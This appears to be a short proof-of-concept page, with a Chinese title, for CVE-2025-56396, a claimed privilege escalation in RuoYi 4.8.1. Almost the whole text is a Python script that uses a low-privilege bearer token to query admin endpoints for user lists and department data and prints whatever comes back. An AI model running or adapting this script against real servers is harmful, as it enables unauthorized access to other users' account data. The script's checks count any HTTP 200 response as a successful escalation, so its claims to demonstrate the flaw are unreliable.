CVE-2025-56396 Ruoyi 4.8.1 权限提升漏洞

# CVE-2025-56396 PoC - RuoYi 4.8.1 Privilege Escalation # Author: Security Researcher # Target: RuoYi <= 4.8.1 import requests import json TARGET_URL = "http://target-ruoyi-server.com" ATTACKER_TOKEN = "attacker_bearer_token_here" def privilege_escalation_poc(): """ PoC for CVE-2025-56396: RuoYi 4.8.1 Privilege Escalation The vulnerability allows attackers to gain escalated privileges due to the owning department having higher rights than the active user. """ # Step 1: Attempt to access admin panel with low-privilege user headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 2: Try to list all users (requires admin privileges) admin_endpoint = f"{TARGET_URL}/system/user/list" response = requests.get(admin_endpoint, headers=headers) if response.status_code == 200: data = response.json() if data.get("code") == 200: print("[+] Privilege Escalation Successful!") print("[+] Retrieved user list:") print(json.dumps(data, indent=2)) return True print("[-] Privilege Escalation Failed") return False def check_vulnerability(): """Check if target is vulnerable to CVE-2025-56396""" # Check system info endpoint info_url = f"{TARGET_URL}/system/user/profile" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}"} response = requests.get(info_url, headers=headers) if response.status_code == 200: profile = response.json() dept_id = profile.get("data", {}).get("dept", {}).get("deptId") print(f"[*] User belongs to department: {dept_id}") # Check if department has higher privileges dept_info_url = f"{TARGET_URL}/system/dept/{dept_id}" dept_response = requests.get(dept_info_url, headers=headers) if dept_response.status_code == 200: print("[!] Potential vulnerability: Department info accessible") return True return False if __name__ == "__main__": print("CVE-2025-56396 RuoYi 4.8.1 Privilege Escalation PoC") print("=" * 50) check_vulnerability() print("\n[*] Attempting privilege escalation...") privilege_escalation_poc()